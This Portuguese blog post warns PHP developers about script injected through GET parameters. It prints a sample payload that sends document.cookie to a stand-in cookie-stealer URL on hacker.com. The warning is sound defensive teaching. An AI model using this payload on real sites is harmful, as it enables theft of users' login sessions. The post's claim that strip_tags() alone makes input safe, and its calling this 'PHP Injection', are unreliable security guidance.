PHP Injection, como prever?

Muitos usam defensores contra MySQL Injection, mas não sabem que o PHP Injection pode ser um ameaçador eminente. Quando você recebe parâmetros pelo GET, ou seja, via endereço do seu browser

Por | @nmuller99 Programação
<p>Muitos usam defensores contra MySQL Injection, mas n&atilde;o sabem que o PHP Injection pode ser um amea&ccedil;ador eminente. Quando voc&ecirc; recebe par&acirc;metros pelo GET, ou seja, via endere&ccedil;o do seu browser, como por exemplo:</p> <div><strong>www.seusite.com/pagina.php?id=20</strong></div> <p>At&eacute; a&iacute; tudo bem, voc&ecirc; sabe que vai receber um valor inteiro, para ser usado com o array $_GET. Mas imagine se ao inv&eacute;s de 20 passe isto:</p> <div id="_mcePaste" style="position: absolute; left: -10000px; top: 65px; width: 1px; height: 1px; overflow: hidden;">&lt;script type="text/javascript"&gt;// &lt;![CDATA[</div> <div id="_mcePaste" style="position: absolute; left: -10000px; top: 65px; width: 1px; height: 1px; overflow: hidden;">window.location.href = 'http://hacker.com/cookie-stealer.php?c=' + document.cookie;</div> <div id="_mcePaste" style="position: absolute; left: -10000px; top: 65px; width: 1px; height: 1px; overflow: hidden;">// ]]&gt;&lt;/script&gt;</div> <p><code>&lt;script type="text/javascript"&gt;<br />window.location.href = 'hacker.com/cookie-stealer.php?c=' + document.cookie;<br />&lt;/script&gt;</code> Ser&aacute; completamente vis&iacute;vel os cookies de que sua p&aacute;gina gerou. Se voc&ecirc; usa cookies como forma de guardar informa&ccedil;&otilde;es de login, tenha cuidado, pois h&aacute; como obter estas informa&ccedil;&otilde;es com javascript.</p> <h3 class="interno">Proteja seu php:</h3> <p>Para sua prote&ccedil;&atilde;o, use a fun&ccedil;&atilde;o <strong>strip_tags()</strong> do PHP para remover qualquer tag, seja ela javascript, HTML ou PHP.<br /> <br /> <span style="text-decoration: underline;">Use seu GET da seguinte forma:</span></p> <pre><code>$id = strip_tags($_GET[ 'id' ]);</code></pre> <p>Assim voc&ecirc; receber&aacute; apenas texto sem qualquer tag, e estar&aacute; seguro de que n&atilde;o ser&aacute; direcionado a qualquer lugar ou ter&aacute; informa&ccedil;&otilde;es roubadas atrav&eacute;s do GET.</p> <p>Dicas, d&uacute;vidas, comentem abaixo.</p>

Mais sobre: php, segurança, mysql
Share Tweet
DESTAQUESRecomendadoMais compartilhados
Comentários
AINDA NÃO SE INSCREVEU?

Vem ver os vídeos legais que
estamos produzindo no Youtube.